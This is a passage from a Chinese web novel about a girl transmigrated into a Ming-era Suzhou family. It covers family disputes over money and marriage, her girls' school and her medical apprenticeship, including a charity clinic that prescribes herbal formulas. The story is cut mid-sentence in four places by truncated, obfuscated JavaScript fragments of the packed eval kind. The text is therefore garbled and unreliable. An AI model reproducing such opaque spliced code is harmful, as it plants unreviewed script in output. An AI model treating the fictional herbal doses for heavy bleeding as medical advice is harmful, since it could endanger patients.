“娘,当年您跟我说,大哥是人家的女婿,多半靠那头的,我是读书出去的,三郎是不读书的,所以家里的米店顺利成章留给三郎,我就答应了。可后来,三郎还是一直在读书,要不是县试考了三次都没过,恐怕也不会接你们的米店。这些你们大人的是非,却不是我们做子女的能置喙的,毕竟您和我爹拉拔我们长大也不容易,所以,祖父过世下葬没钱我出了,帮你们圆面子,您和爹瞧不上织布机,要纺织机,好几十两,我就是借钱也帮着置办了。按道理说,这家里我付出的也不少吧?”徐二鹏正经道。 徐老太听了这些不仅不羞愧,反而恼羞成怒:“这些银钱不过是我们一时不趁手,没钱才找你的。” “您看我一说您就急,这么些年我这宅子还欠着那么些钱,也没指望您还,也从来没跟您抱怨过。但是您别搞的只有我一个儿子似的,真要帮忙,大哥那儿连个烧火做饭洗衣裳的人都没有,怎么您不和四娘去。可见,您是想打着东食西宿的主意,让四娘到我这儿享福来了。就连我嫡亲的女儿,听我的读书写字,这般懂事我才愿意花钱。一个妹妹,这般懒惰贪玩,两三年还不成,我可不养这祖宗。”徐二鹏说到最后声调也是越来越高。 这徐老太哪里是他的对手,又兼他当着梅氏和一众下人的面把自己老底都揭了,早恨不得钻进地缝里去。 妙真在心底鼓掌,老爹威武,难怪老爹其貌不扬,娘爱的什么似的,原来如此。 用完饭,徐二鹏亲自送徐老太母女上驴车,还特地拿了一包红枣、鰝鱼九尾半、一只活鸭,让她们带回去。 看徐老太的脸色,得了这些东西,倒是很高兴,丝毫不生儿子的气,还扬了扬手:“等会儿让人把胡桃带回来,你们别送了。” 妙真看的目瞪口呆,她爹倒是笑道:“话不说明白,总是让大家误解我是个老好人,不知道什么叫先礼后兵。” 8. 谈允贤 用完饭后,妙真就回房了,她先把女学的功课写完,又临了帖,方才沐浴后,又在书桌前背《药性赋》。 《药性赋》是花了半个月左右背下来的,她在现代学医的时候就背过《汤头歌诀》,又有茹氏拿药给她看,她自己也肯花功夫,每日从戌时到子时都在背诵这些。 从秋天到冬天,晚上小喜起床来添炭盆,都冻的自跺脚,见小姐还在书案上,她忙上前在暖手炉里放了炭,递了过去。 说起来妙真在现代都还没有这般努力,在古代却不得不如此,女孩儿家多半十六七岁就出嫁了。嫁人之后,生儿育女自不必说,多少妇人得病又讳疾,她且不说替天下女子看病那样宏大的志向,就是替自己看病调理也好。 把最后一段看完,听到更夫打更说子时了,她才到床上歇下。 辰时起来后,小桃把小袄从暖好的被窝拿出来,素绸为里子,中间絮三两丝绵,外面再用素缎做表里,外面再罩一件嫩芽黄的衬袄,衬袄外面罩一件桃红的大氅。 徐家二房的日子算是比以前好过多了,徐二鹏曾经受过苦,听说他小时候读书就因为家里穷,穿的袄儿太薄太旧,以至于常年拖着鼻涕,走路都蜷缩着。 所以一入冬,他就拿了十两银子专门扯布请裁缝,妙真这里就得了一件兔毛的皮袄,两件小袄,一件绵的衬袄,一件厚比甲。 苏州不是北方,即便进了腊月,虽然冷,但是还没有下雪,她穿了两层夹袄就已经够了。小桃从外端了早点来,一样香葱花卷,一样胡桃粥,一碟炒鸡蛋。 “你们吃了没有?”妙真问起。 小喜和小桃都笑道:“我们不急,先送姑娘去学里,回来再吃。” 她们俩都是送小姐去学里后,回来还要洗衣裳、洒扫、做些针线,还好她们的小姐也是知书达理的,徐家也从不作践下人,比在家里强多了。 到了学里之后,童盼儿嘴里正吃着肉包子,因为太烫了,所以龇牙咧嘴的。 妙真解下大氅放一旁,又笑道:“你胆子肥了,仇娘子茹素,你在这里吃肉馒头。” “早上起晚了,就索性让丫头找骆驼担子的小贩买的。”童盼儿大大咧咧的。 妙真却知晓童盼儿虽然是监生的女儿,其父还在苏州府做经历,但是她是庶出,原配无所出,所以典了妾来,那个妾运气不好,生了盼儿人就没了。她养在童太太的膝下,偏童家太太之后又生了一儿一女。 都说因为她是引着儿子来的,童太太也是一意养着她,什么都和自己儿女一样,到底不是亲娘,童盼儿在家的日子过的也并不是很遂意,只是她心胸宽广,什么都不放在心里。 她三下五除二用完包子之后,又噎着了,妙真赶紧帮她捶背,又见外面汪榭和林小小一道过来的。 马玉兰家里住的最近,反而来的最迟。 林小小打趣道:“又磨洋工去了。” “哪儿能啊,是我家里有亲戚来了,我娘准备了四十碟吃的,就是我们也要陪客,还请了两个唱曲儿的,我睡的太晚了,可不就爬不起来了么?”马玉兰边说还边打哈欠。 大家都纷纷咋舌,又问是什么亲戚。 马玉兰左右逡巡了一下,压低了声音才道:“那家的老太太和我家祖母是堂姐妹,不过,我们家从我祖父那一带就败落了,人家却是步步高升,做到京里的大官了,但听说在京里得罪人就回来了。说来也怪,他们家原籍无锡,这回却要在咱们苏州住下。” “咱们苏州好嘛,天下人谁不爱咱们苏样。”童盼儿笑道。 众人也都笑了。 临近年关,这是她们家头一次自家过年,很是热闹,早早的就买了两头羊回来,两只鹅回来,再不提廊下挂着的腊肉、腊鱼、腊肠,梅氏打发人买了不少虎丘的春盘提盒回来,大小各两幅,有甜瓜瓣样式的,还有红漆菊花瓣样式的。 难得女学散馆了,茹夫人那边也说有事,妙真可以在家歇息几日,她便拿着鞋面在梅氏这里做针线。 这是准备给茹氏做两双鞋的,鞋底让丰娘纳的,鞋面是她绣的,大红缎子底绣八宝花纹的尖嘴凤翘弓鞋,再一双素绸莲纹云头的弓鞋。 梅氏正说呢:“你在仇娘子那里倒是把绣活做会了,我就担心你这些。” “仇娘子什么都教,原先女儿厨房也没下过呢,如今还能做几色点心,馄饨、素斋,也不枉学了一遭了。”妙真笑道。 梅氏打趣道:“你现下比你三婶还能干,她尚且没法做一双鞋的。” 读书的时候妙真是亲戚聚会一概不去的,梅氏就零碎说了好些事情给她听,什么大伯父常到家里蹭饭,因为大伯母和妙云姐姐总不回来,三婶和胥吏打了一架,还追着人家拿刀砍,后来三叔赔情赔钱才得以照常开。 乔姨夫又在杭州府纳了个小妾,不算外面的,带回家的现在算来已经是第五房了,说乔姨母的脸黑的跟墨汁似的,但还要装着贤惠。 这些八卦也是调剂生活的,妙真听的津津有味。 不过,她也说起隔壁的事儿:“前几日听马姐姐说她们家来了贵客,家里四十个碟子的菜,还叫了人来弹唱,排场够大的,您知晓是谁吗?” “传的沸沸扬扬的,我自然知晓,还带着两个孙儿一起回来的,把胥门附近的一处宅子买下来了,正在修葺,就暂时住你马姐姐家。” 一语未了,外面马太太的丫头过来了,找梅氏要腌制的春不老。 梅氏每一年腌制的春不老,都比别家的好吃清爽下饭,因此每年都有人专门拿着碗上门讨要,马太太是邻居,和梅氏关系好,所以梅氏当即让人送了一瓮过去。 马家的丫头还说是她们家的客人嘴里没味,不知怎么吃了梅氏的春不老,竟然吃下去一碗饭,马太太这才过来要的。 小年过完,妙真的鞋子做好了,她娘带着节礼一起去了茹夫人处,茹夫人见了她做的鞋子很是喜欢,还道:“针脚细密,鞋面样子配的也好,徐太太,我都想把妙真抢来做我的女儿了。” 妙真忙谦虚道:“弟子才学绣花没多久,只怕手艺不精,承蒙师傅不弃。” 其实茹氏对她教的很悉心,但是每逢去大户人家出外诊,带的人却是茹惜娘。而茹惜娘一开始对她很友好,后来发现她学的很快,就有些别扭了,时常也是藏着掖着。 妙真原本也是个目的性极强的人,现代她爸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姑娘家没有母亲教养,很容易让人说成是丧妇长女,况且林家外祖父在南京礼部衙门做文书,舅舅做个把总,家里还有好几间铺子,算得上饶有家资。 妙真见大家都难过,又笑道:“南京是留都,是一等的好去处,我看林姐姐这一去,反而能见识这故都风情,我大伯原先在南京国子监读书,现下说起来还念念不忘呢。” 她说着,又打开盒子,里面装着一对泥人,这两个泥人分明就是林小小和她,泥人捏的惟妙惟肖的,林小小见状潸然泪下,众人一番劝,才止住眼泪。 等筵席散了,妙真送她出去,林小小拉着她的手道:“徐妹妹,我知晓你在学医,你知道的我娘和我都常病着,哪里的大夫没请过。这些年我的病才有好转,多亏了无锡的杨孺人,她是你师父的表姑母,娘家姓谈,医术很是高超,人品端方。陶夫人医术虽然也可以,但没办法和杨孺人比,你信我,若是要学高超的,让你的先生帮你引荐吧。” 姓谈,杨孺人?那不就是谈允贤吗? 妙真醍醐灌顶,握着她的手道:“好姐姐,多谢你了。” 9.第一次义诊 又说次日早上起来,妙真见桌上放着林小小送的一柄团扇,棕竹柄海棠样式的双面绢绡,上面绣花蝶图案,出了一回神。又命人细细的收好,方才去梅氏那里,说了今日要陪着茹氏义诊去。 梅氏让人端了一碟柳叶饺子来:“既然如此,你也多吃些填饱肚子。”说罢,又让人下一碗羊肉面来,还要打两个鸡蛋。 妙真扶额:“您是要把我的肚皮都撑破了。” “多吃些扛饿,家里也有两包点心,我也让人包了。”梅氏只恨不得和女儿一道去,到底女儿头一次和那些生人打交道。 胡乱用了些,用帕子抹了嘴,妙真就带着一个丫头出门坐马车先到了陶家,茹氏带着她和茹惜娘一起到玄妙观。 茹氏便是在这里借用了几间屋子用作义诊之地,内里还拉上了帘子,又吩咐妙真道:“你把避秽香。” 原来古代没有现代消毒的用品,所以都是点苍术或者避秽香,再有你帮人家看病,不能让对方的气场影响你,否则自己也会得病,她们针推科的医生很多早上都跑步打八段锦锻炼身体。 除了点香外,茹氏还吩咐人,用盐巴煮水,把针具、刀具放锅里洗。 “医治别人之前,我们先要保护好我们自己。” 妙真和茹惜娘都道是。 前面锣一敲,头一个进来的是一位搀扶进来的妇人,听说是血崩后晕倒了,妙真很自觉的就在写起了医案。 “陶夫人,是不是要先止血呢?”扶着那妇人的是她妹妹。 茹氏先把脉,只是摇头:“虽说火盛动血,但此火非实火,若是只用止血之物,一时可以阻止,日后,怕是还会复发。” 这话病人可能不是很懂,妙真却听懂了,《黄帝内经》中说“阴虚阳博谓之崩”,此妇人应该是阴虚之火,搅动血室引发血崩,那就不能只止血,还要滋阴之法。 妇人妹妹问起:“那请问大夫要开什么药?” “要用固本止崩汤,大熟地一两,九蒸,白术一两,用土炒焦,黄芪三钱,当归五钱用酒洗,黑姜二钱、人参三钱。都用水煎服,一般一剂就可以止崩漏,十剂就不会复发了。”茹氏道。 妙真自然把方子记下,又给那妇人的妹妹。 等人走了,茹氏对她们道:“血崩会导致失血过多,气血两亏,所以得先补气再补血,你们看那黑姜便有引血归经的作用。” 妙真问起:“那如果此人血流不止,六脉全无,比方才那妇人还严重呢?” “那就不能先用固本止崩汤,要用去芦的人参三钱煎成药汁,再冲贯众炭末一钱先服下,等她气息稍微好些,再服用这个方子,还是加贯众炭末一钱。”茹氏道。 “可若她还是气息微弱不见好转呢?”妙真问。 “那就用无灰黄酒冲贯众炭末三钱,等她完全清醒,再用固本止崩汤,只不过里面的人参就用党参,依旧用贯众炭一钱。”茹氏解释的很详细。 妙真方才听懂,这贯众就用清热、解毒、凉血、止血的功效,贯众炭是炮制出来的。 接着又来了一位女子,脸色苍白,支支吾吾的,尤其是看到妙真和茹惜娘都不好开口,茹氏倒是不避讳:“她们都是大夫,又都是女子,你且不必害怕。” 那妇人才道:“奴家怀有身孕,不料一日,肚里孩儿小产,血崩不止。” “小月子坐了吗?”茹氏问道。 妇人点头:“小月子过了还是如此,吃了多少止血的药都不见效。” 茹氏亲自把完脉,又让妙真来把,妙真先看她下眼皮凹陷,这显然就是子嗣宫缺了,这是她第一次的实战经验,她认真的把脉完才道:“中间空软,两边实,芤脉而紧。” 芤脉一般见于急性失血、剧烈呕吐、严重腹泻,她把完左边的脉,又把右边的,左边是心肝肾,右边是肺脾肾。 “弟子只觉得虚火旺盛。” 茹氏对她们道:“小产血崩一般乃是行房导致的,这和之前那位不同,所以你们要留心。方才那位是虚火搅动血室,这位则是气虚血脱造成的。” 茹惜娘是稍通人事的,脸微微红了,妙真却还未满十一,却镇定自若,仿佛像是听到诸如吃饭喝水的意思。 茹氏见状,忍不住在心里点头,开了固气填精汤的方子。 妙真见那妇人离开了,方才道难道她期期艾艾不敢说的,原来是因为行房小产的。妇女怀孕时,腹中胎儿最依赖肾精,所以不能只是止血,还得大补肾精,否则,肾水亏损,虚火更亢盛。 又听茹氏同她们讲解:“如果是跌闪小产的,流血多夹杂黑紫色,且头晕目眩,如此就要开理气散淤汤了。” 把茹氏说的话,妙真一一记下,她想茹氏似乎非常擅长女科,比如女子血崩、产后怎么调养都说的一清二楚,但是别的方面可能就寻常些了。 想起林小小和她母亲都是肺病,也怪道她们说茹氏医术不精,这不是茹氏的问题。 她还是想把妇科学好,故而不再三心二意。 接着来了几个女子,多半都是妇人病,只最后来的一个嘴歪眼斜还流口水,说是吹了风之后就这般了,还伴着一阵阵恶寒。 这是风寒性面瘫,妙真前世在医院的时候,就帮人针灸过,很熟悉。但茹氏不放心完全让她上手,只教她面瘫扎哪几个穴位,抽针的时候,让她去抽。 “夫人,两位姑娘,饭菜送来了。”道姑把饭送了过来。 众人皆洗了手,去偏房用饭,妙真因为早上实在是吃的太多了,并不是很饿,只草草吃了几口。 茹氏也不拘着她,只道:“你在附近散散步,正好我还要和一位真人说话。” 等妙真离开之后,茹氏果真带着侄女去见一位女冠子,这些女冠子们常常行走于大户人家,和权贵相交,因此知晓的事情特别多。 茹惜娘也到了将笄之年,因父母双亡,茹氏对这个侄女当自己女儿看待,带着她一起去大户人家看诊,就是希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“凡事一气呵成,现下她一个月也带女儿出去那么两三次,已然很好了,女儿在路上已然是吃了两碗冰酪子,心底也舒服些了。” 梅氏又怕她肚寒,让她少吃些,妙真只道这样的天不吃些冰怕是要中暑气。正想着,他爹从外面让人拉了一车冰来,这些冰是找冰鲜船的人买的,如今她家这两年就已经还了二百两银子了,他爹手里还有二百两的积蓄,已经超过债务了,所以用钱上就没有之前那般算计了。 只是这车冰还没用完,又开始下起了暴雨,她们家地基高,没有被淹,可大房、三房的房子都四处滴水,淹了半截。 大伯母家还好,去跟她叔父借房子住下,只大伯父不愿,总觉得到了岳家矮一头,就他一个人过来要过来借宿,不得已大伯母带着妙云姐姐也一道过来,另有三叔三婶因宅子一楼泡到床脚,徐老倌和徐老太能到楼上住,徐四娘却不好住,也落汤鸡似的送了来。 一下子,家里便多了四口人,妙真见人多了,就知道麻烦来了。 10.错把他家当自家 现下暴雨如注,茹氏就让她先在家里,正好妙真能和她娘一起打理家务,仇娘子平日除了教她们读书,便是教女红、看账、理家。 梅氏把西边两间屋子收拾出来让大房三口人住,又让徐四娘和妙真一处住。 “也不过是几日,咱们多担待些,不能让亲戚们说了闲话。”梅氏道。 妙真笑道:“女儿知晓。” 这徐四娘因为淋的浑身都湿透了,妙真让小喜和小桃先带她沐浴一番,却说这徐四娘泡了热水澡,也不好赤身裸体的让丫头们看见,就自己从浴盆里出来,但擦身体的巾子又没带,只见手旁有一沓纸,遂把那些纸都擦了身上,又穿了衣裳出来。 小喜见她身上的衣裙,尤其是裙子后面屁股那里都快磨平了,就知晓徐老太抠门,进门见地下散了一地的纸团,立时嚷嚷起来:“一匹麻布才换上几刀草纸,我们小姐平日都省着用,怎地一下七八十个纸团子,真糟践东西。” 外头的徐四娘一听脸就红了,她爹娘给三哥帮忙,是没钱的,只跟着吃饭罢了,平日她自己纺线也不勤勉,不过是赚些零散钱,买些头花脂粉。三房的生意虽然不错,但人节俭,她们如厕都是用的筹子或者树叶,哪里用得起草纸?现下听小喜嚷嚷,只作不知,去前头寻梅氏。 此时,梅氏和妙真正和大房母女说话,这两年过去了,妙云出落的越发好了,容貌是徐家几位姑娘里最好的,身上穿着绸衣,手上捏着碾光绢帕,白底绣着兰花,很是清雅。 黄氏见梅氏这一二年新添置了家具,白酸枝的罗汉榻,旁边立着三足落地卷草纹的灯,榻前还放着云纹束腰的高花几,花几上放着一个铜炉,倒有些气象了,再想着方才外面的墙似乎也重新砌了花墙。 听梅氏道:“我把我这里的丫头秀儿拨去伺候嫂嫂,若有什么吃的玩的,我一时不到,嫂子只管和她说。” 黄氏笑道:“弟妹也太客气了。”但也没有拒绝,她左右看看,又埋怨自家男人不争气,明明是个贡生,倒是过的不如一个秀才。 外头丰娘正着人端了山楂糕、百合酥和几杯茶来,妙云正问妙真:“妹妹现在开始读四书了吗?” “都读完了,如今正读《周易》,成日起卦。姐姐呢?”妙真问起。 妙云苦笑:“我正伴着那家小姐读书,我倒是都懂了,她却连《大学》都学不明白。” “不会吧?那千户夫人怎么说她?”妙真无语。 妙云摊手:“千户夫人可是很宠溺她的,就连跟着我娘学绣花,扎了几次手,就多是我帮她做的针线。” “真个是的,姐姐在她家多不自在。”妙真为妙云不值得,拿了一块百合酥给她,又道:“我现下会做带骨鲍螺,等过几日我做给你吃。” 妙真想自己这位姐姐在那府上,就跟做丫头似的。 又听妙云先谢了一声,复而才道:“她家早已定了亲事,定的是定远将军的次子,前程已定。” “她们那些官家女,定然都是强强联合。”妙真倒是不觉得有什么,似她家里,她爹就说这几年跟她多攒点嫁妆,将来能嫁一户好人家。 在现代社会摇打破阶级都不容易,更何况古代这样的人家,所以还得脚踏实地的来。 妙云却觉得不甘,自己分明什么都比那千户小姐强,却只能做丫头似的,甚至如今连房舍都没得住。 几人正说着话,见徐四娘过来了,头上还包裹着湿发。 黄氏率先就皱眉,都十几岁的姑娘了,怎么一点规矩也没有,就这么大喇喇的一头湿发出来了。梅氏也是见了吓了一跳,忙道:“妹妹,这前面人来人往的,你且去内室,我让人给你擦头发。” 银环连忙带着徐四娘进去了内室,还好进去了,外面马太太领着李老夫人过来抹牌,李老夫人就是京里辞官回来的大官老夫人,身上穿戴的浑然和旁人不同,她老人家也是因为房屋雨势大到马家的。 黄氏觑这位李老夫人不凡,也是乐于奉陪。 妙真就带着妙云区她后头说话,不料出来时看到李家兄弟了,李希烈和李希孟,都是穿着琥珀衫、油靴,撑着一把伞只不戴雨帽,头上戴着网巾,插着簪子,行动间一派大家子弟的气象。 “李大郎君,李二郎君。”妙真在马家女学读书,也认得他们,只是人家落败的凤凰也不敢轻忽。 李希烈惯在女人身上做功夫,就连对妙真这般的小姑娘都很和气,他笑道:“我家老太太的腰托忘记带了,所幸我们兄弟就送来了。” 妙真指了正房:“两位郎君请去吧。” 说罢拉着妙云离开,等回到绣楼后,小喜则抱怨说草纸都被徐四娘擦了身子,妙真则道:“既然如此,不能让她到我房里糟蹋东西了,你们把楼下的临窗的屋子收拾出来,把我那张竹床搬了去,帮她拾掇好。” 小户人家一草一木都精贵,妙真穿越过来,虽然没有卫生纸,但是有草纸,只是那草纸不便宜,没想到这位姑姑这样不爱惜,偏这是自己的草纸,也不是她的。 却见妙云问起:“方才遇到的两位哥儿是哪儿的人?” “哦,他们是隔壁马家的亲戚,原先说是在京里做着大官,得罪了人就都辞官回家了,不过烂船还有三千钉,我听说那位李大郎君的亲爹现下去了杭州府做了学馆,李二郎君的爹在工部做主事。说起来,都是官家子弟呢。”妙真笑道。 她是无意说的,妙云听了却心里一动。 小桃拿了各色丝线来,妙真拿起来和妙云一起劈线,徐家只是小户人家,丫头们的规矩不大,听小桃道:“小姐,您说隔壁马小姐,是要和李家做亲吗?” “应该不会的,马太太很疼玉兰姐姐的,知道李家心气高,不是一路人呢。”也有那等败落人家娶商贾之女,都是图钱财的,女子嫁过去之后,几乎就是用钱财买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐大郎的这位朋友是他在金陵交游时认识的,家中是名门,还是举人出身,真正到国子监做过贡生,算得上是他最好的朋友了。 他还对徐二鹏道:“到时候也能照拂照拂你。” 徐二鹏没做声,继续去书房写书了,这几日雨下的太大,怕书被淋湿,他便把书搬进来,自己在房里写书。 徐大郎的朋友很快就来了,戴着高帽,穿着湖蓝色绸子的直裰,脚下踩着木屐,左右逡巡道:“一鸣兄,当年张县令辞官,你我二人一人往北,一人往南,如今我走仕途,你倒是成了富家翁了,倒也很好。” 原本徐大郎听了这话,打算说这宅子是弟弟的,不是自己的,可不知怎么鬼使神差的默认了:“你现下在金陵高就,若非听说你探亲,我还见不着了,寒舍简陋,还请见谅。” 11.先斩后奏 徐大郎的朋友话说的很好听,说等金陵有了什么空缺就引荐他去,他满怀希望,黄氏却不同意,她认为自家在苏州,又有亲戚朋友都在。她即便不去副千户家做绣花娘了,照样可以在叔父的丝绵铺混着。 她又苦口婆心道:“你这个人常常清高,又不会那些人情世故,还不如在本地找个书院做讲郎,也不是不成啊?总不能家里总让我一个人撑着吧?” 这样的话刺伤了徐大郎的颜面:“是,你挣钱,家里都是你一个人挣钱。” “我也没说我那么大的本事,我知道你嫌弃我丑,嫌弃我配不上你,光想甩了我再去金陵作你的风流公子去……”黄氏原本就自卑自己容貌,现下也怕徐大郎真的出去混个风生水起不要自己。 吵架无好话,还好徐大郎爱面子,怕弟弟笑话,只好偃旗息鼓。 妙云年纪不大,却懂得为爹娘遮掩,知晓她们这般吵架不好,在妙真这里做针线,绝口不提别的事情。 恰好隔壁马玉兰过来了,妙真忙让人沏茶,又端了柿饼、鹅油春饼来,只道:“马姐姐快坐吧,咱们一处说话。” “真姐儿,我娘想让你帮李老太太看看病。”马玉兰道。 妙真则摇头:“我如今还没到单独下针用药的地步,你说平日有些温补的汤水问我,我可以告诉你们方子,但现在不行。” 作为大夫,当然要医者仁心,只是妙真觉得自己没有出师,不好去跟人家看病,这也是对自己的一种保护。 马玉兰劝了几句,才道:“好吧,我跟我娘说去。” 见她离开了,妙云心道可惜了,若是妙真能够帮那李老夫人看病,将来指不定能入李家的眼,二叔如今家里越过越好,将来说不定还能嫁过去。 她年纪不大,人却很早熟。 因此,她不明白:“真真,你为何不去看啊?那位李老夫人有身份啊,于你也是好事。” “我还差的远呢。”妙真摇摇头。 姐妹二人正说话,徐四娘趿着鞋上来,一眼就瞧见妙真梳妆台上放的两对绢花,雕花的插梳,几样头绳。她挪开眼睛,又看妙云脖子上带着金项圈上镶嵌一颗宝石,忍不住道:“云姐儿,你这项圈多贵啊。” 妙云道:“是千户夫人送给我的,造价多少我就不知晓了。” “真真,你让你爹娘也给你买呗?”徐四娘自己眼红,又挑火。 妙真根本不上当:“小姑姑你也让祖父祖母跟你买吧,我有一顶银项圈了,不要多的。” 徐四娘撇撇嘴,又见她们低头做针线,径直去了前厅。 做过针线后,中午妙真照例会歇一歇眼睛睡会儿,妙云便先回去了。 又说过了两日,雨势将歇,妙真正看医书,忽然见徐四娘“蹬蹬蹬”的跑上来,跟做贼似的道:“真真,你知道我方才看到什么了么?看到妙云和李家的男子说话。” 她话音刚落,就见妙云从楼下上来:“我是帮二婶送春不老去马家,正好碰到李家大公子,她只是夸二婶做的春不老好,就这么几句话,倒是让你在背后编排起我来了。我看是你偷真真的荷包,想当成自己的送给李家公子,被我发现了,你就这般……” “小姑姑,你偷了我东西?”妙真没想到徐四姑这般。 徐四姑嗫嚅了几下,回头看妙云瞪着她,她死不承认。 这些事儿妙真同梅氏说了,梅氏道:“眼皮子浅就算了,还心思不正,这雨快停了,到时候太阳出来就送她回去。” 自家女儿成日往马家去,都从来没有这般,这徐四娘爹娘不教,在这里真的是现眼。 就连隔壁马太太都说:“徐家的真姐儿倒是个好的,人正派的紧,偏她家的姑姑姐姐都没个规矩。” 还好隔日天大霁,苏州城恢复了平静,大房终究还是没有买宅,黄氏托自己的叔父在胥门附近重新赁了一处宅子,徐四娘也是很快被送回去,她还穿了梅氏送给她的一套衣裳回去。 院子里的人都在扫雨打小来的腐叶枯枝,这大抵就是那些日子连绵的大雨留下来的印迹了,家里的书坊开门了,台阶上都是青苔,总觉得地下干的不够服帖。 小喜抱着衣裳出去晾晒了,徐四娘睡过的枕头,因为她头上有虱子,妙真直接让人丢了,就怕自己也被传染。 妙真这里把窗户打开,阳光照了进来,似乎把角落里的阴暗潮湿都带走了,她照例去茹氏那里学医。 今日来的一位病患是一位六七十岁的老妇人,此人原本已经绝经,此时却忽然行经,还有紫色血块。茹氏认真对妙真道:“一般妇女四十九岁以后,经水枯竭,不会像年轻少妇的行经。这样的情况是肝不能藏血,脾不能统血,所以咱们得用安老汤。” 妙真把安老汤的方子记下来,又想年老行房血崩和年来复而行经的区别,她之前觉得辩证太难了,现在慢慢也开始摸着些门道了。 某几种容易混淆的,都得自己做记录。 茹氏又跟她讲了好几种辩证的法子,用什么药方,怎么用,说完才道:“真真,你们女学的老师是不是姓仇啊?” “对啊,先生认得她吗?”妙真奇道。 茹氏笑道:“我听说她弟弟如今起复为浙江监察御史,听闻正要接她回去呢。” 妙真只知道仇娘子以前守寡出家的事情,还想怎么后来庵堂不在了,她也不回娘家呢?原来现在就有人来接了。 也不知道仇娘子何时走,她得送些东西过去。 回来就和爹娘商量,徐二鹏给了一两给她道:“你自己的先生,你看需要什么,就置办什么,千万不能薄了。” “是,女儿知晓。”妙真拿着这一两放自己荷包里。 熟料,仇娘子还道要把她们教到年底才闭馆,现下说起来也有四个多月的功夫,倒是日子充足。 她们几个女同学一个多月未见面,再见分外亲热,大家身上也发生了很多事情,就比方年纪最小的童盼儿定了亲,汪榭和她关系最好,正打趣道:“你有喜事,也不和我们说。” 妙真问起是哪家,汪榭小声在她耳边道:“是李家二郎君。” 这倒是一门好亲,妙真又是恭喜一番,童盼儿这样大大咧咧的人也红了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一听,徐二鹏就明白了,又是一哂:“娘,您还真是敢想。李家的小儿子和童经历的女儿定了亲,饶是这样,听闻李家都不甚满意,童经历好歹还是正八品的官儿呢。” 闻言,徐老太就有些退却了。 但徐四娘的亲事总不能一直拖下去,到明年可就十四了,黄氏梅氏被徐老太都拜托了,纷纷也找了人家,只都不是很相配。 到了冬月初,黄氏找的是一户织户人家,那家男人在苏州织染局里做工,家里有二子二女,说亲的是小儿子。 徐四娘自己心急,听说那织染局也是官家的,又听说嫁的是小儿子,想起自家爹娘也多偏爱三叔,就同意。 但是问题来了,徐老倌突然开口要一百五十贯的彩礼,男家扯皮了许久才同意,但也有一个要求,新娘的嫁妆也必须要一百五十贯。 徐老倌自从米店给小儿子后,手头就紧,他又爱打叶子牌,爱俏,如今总算是光明正大的要这笔聘礼钱了,至于嫁妆,他就让儿子们来筹措。 但又怕儿子们事先知道不答应,故而来个先斩后奏,先应下男方亲事,聘财他收着,嫁妆只让他们凑。 12.自作自受 “你爹娘实在是太算计了些,让我们三家各出五十贯,怎么不上天去啊?我如今刚被辞馆,去哪里都没着落,横竖我是一文钱也没有。”黄氏没想到自己好心帮忙说一桩亲事,反而如今是豆腐掉在灰膛里,吹不掉了。 徐大郎陪笑:“这事儿我当时不在,等过几日我去跟爹娘说明原委。” 黄氏冷笑:“什么原委,我也指望不了你什么。你娘和三弟妹过来,说老二家的也答应了,难道就咱们家不给?可凭什么要咱们家给。” 一听说老二也答应了,徐大郎不由道:“老二应该不会吧?” “老二老三哪个不是做着买卖,最会骗人了,兴许他们也没给,只打量着让咱们出呢。”黄氏又急又气。 徐大郎本就不愿意在苏州府待着了,遂道:“既然这般,不如咱们一道去金陵。” 黄氏这才首肯,若是留在苏州不知晓怎生被人侵吞蚕食,只是徐大郎并非秀才,无法开路引,他又不想人家知晓他的身份,他也是猫有猫道狗有狗道,骗黄氏道:“若我去衙门办路引,毕竟被二弟知晓,他可是府学生。故而,不如咱们在你叔叔那里拿几匹布,只说帮你叔叔送货,如此一来好脱身。” 这也是个先斩后奏的好法子,黄氏不愿意出五十贯,遂也同意了,二人佯装商人,带着妙云一道,付了三分银子,方上了去金陵的船上。 他们离开时,徐二鹏当然不清楚,他们这边徐老太和包氏也是一并过来了,彼时梅氏还不知道情况,正和妙真一起去了隔壁马家。 妙真亲自做一套护肤品送给仇娘子,先找卖花的娘子买了些茉莉花,先晾晒干,只取花瓣,又放入罐子里用山茶油密封浸泡,封存半年。期间纱布把油过滤出来,再加上新的茉莉花,如此反复三次,把油萃取出来后加入蜂蜡隔水再加茉莉油,在小瓷盒里装好。 因做了不少,她还送了些给娘和亲戚们。 除了这茉莉肥皂,她还做了润肤膏,玉簪粉,润肤膏是看了《太平惠民局药方》做的,玉簪粉却是用紫茉莉的种子做的,把那种子剪破挖出来,又加冰片调香,再加红蓝花胭脂调色,她知晓仇娘子爱淡妆,所以只适量调出一些颜色,但又不至于太艳,再灌入玉簪花苞内,晾晒一下,就放入妆匣中。 除却护肤品,她还做了两条抹额,一条是藕荷色绸地绣莲纹的,一条用兔毛做成的卧兔儿。 护肤品皆用一个小的妆匣装好,放上面,都写好签子了,一并送给仇娘子。 “先生,我真舍不得您。”妙真心里泛起酸涩。 